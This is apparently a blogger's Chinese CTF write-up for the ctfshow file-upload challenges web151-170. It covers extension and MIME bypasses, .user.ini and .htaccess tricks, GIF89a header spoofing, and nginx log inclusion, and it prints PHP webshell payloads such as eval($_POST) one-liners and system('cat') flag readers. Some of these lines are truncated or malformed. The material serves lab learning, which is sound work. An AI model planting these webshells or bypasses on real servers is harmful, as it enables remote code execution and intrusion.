ctfshow 文件上传(web151-170)已完结
web151
文件上传的第一题,只有一个绕过
写马
|
署名1.png,这样上传时用burpsuite拦截,把png改回php,
可浏览/upload/1.php看回显,出现luck说明上传成功
接着使用蚁剑链接,翻flag
web152-155
.user.ini的使用
首先要用.user.ini.,在upload的文件夹中,至少有一个php文件,否则不可用
我们先浏览/upload,有回显,盲猜index.php,之后的链接蚁剑等工作都在/upload/index.php中
首先上传.user.ini
auto_prepend_file=2.png |
上传成功后,之后直接上传2.png,不需要拦截
之后直接访问/upload/index.php即可
这几题都是各种过滤,我们采用在图片中写马,传入后用蚁剑链接,翻到flag
各种过滤,最后得到综合的2.png
<?=eval($_POST[1])?> |
web156-157
把[]过滤了,我们可以试着采用别的指令
之前都是传马用蚁剑链接,这次可以试着直接上传读取flag的指令,
<?=system('cat /var/www/html/flag.???')?> |
/var/www/html是默认的路径,我们可以试着猜一下路径,直接用cat读取出flag
web158-160
学一个更猛的,联系到直接文件包含漏洞中的日志包含漏洞
首先常规上传user.ini,接着传2.png
<?=include"/var/lo"."g/nginx/access.lo"."g?> |
把这个传上去的时候,用burpsuite拦截,在UA里写马,接着可以用蚁剑链接或者post各种指令得到flag
web161
开头检查,要加一个
GIF89a |
就能绕过了
GIF89a |
.user.ini也要加
,用前面的日志包含,得到flag
web162
“.”,被禁,构造一个“.”,
GIF89a |
还是用日志包含,得到flag
web163
哥我真不会
web164
上传结束后,已经看不见路径了,但还能下载图片,这时候就可以使用二次渲染,
首先构造一张png图片马
|
运行后,得到一张图片马,2.png
接着上传后,点查看图片,用hackbar传参,
www.xxxx/xxx.png?0=system |
用post传1,RCE得到flag
下载图片,用文本打开
塒NG |
成功了,接着执行命令,得到flag
web165
这次用的是jpg图片马,其他跟上面一样
web166
操作跟上面差不多
这压缩包一直写一个马改个后缀就能传上去了
后面接RCE
web167
这题可以用.htaccess
意思是说,先上传.htaccess,然后再直接传图片文件,图片文件会已php形式被解析
Sethandler application/x-httpd-php |
首先是一个修改后缀绕过jpg,然后直接上传.htaccess和webshell.png
蚁剑链接得到flag
web168
基础免杀,先上传一个普通的png,用bp拦截,
发送到repeater,把内容删掉,后缀改成php,然后往里面写php语句,因为这次没有下载,而是查看
所以应该是每写一句,用repeater发送一句,接着在浏览器里刷新看回显
接着就是普通的RCE
system,eval什么都被禁了,
构造payload
<?= `ls`?> |
得到flag
web169-170
玩什么高级免杀,换一招
这次看upload/index.php,发现没了,我们可以赌一下,自己上传一个,万一不改名,被系统当自己文件了呢
这次很怪,前端要求类型是zip,后端却要求png,所以上传的东西先改后缀,再在bp里改成image/png
先传index.php
发现真的没改名,可以在/upload/index.php浏览
接着传user.ini
改的地方有四处
UA:<?= eval(&_POST[])?> //直接在ua里传马 |
内容:GIF89a |
类型:.ini |
image/png |
传进去,打开/upload/index.php,意外发现真的有日志,之后蚁剑链接得到flag
完结完结,真的坐牢。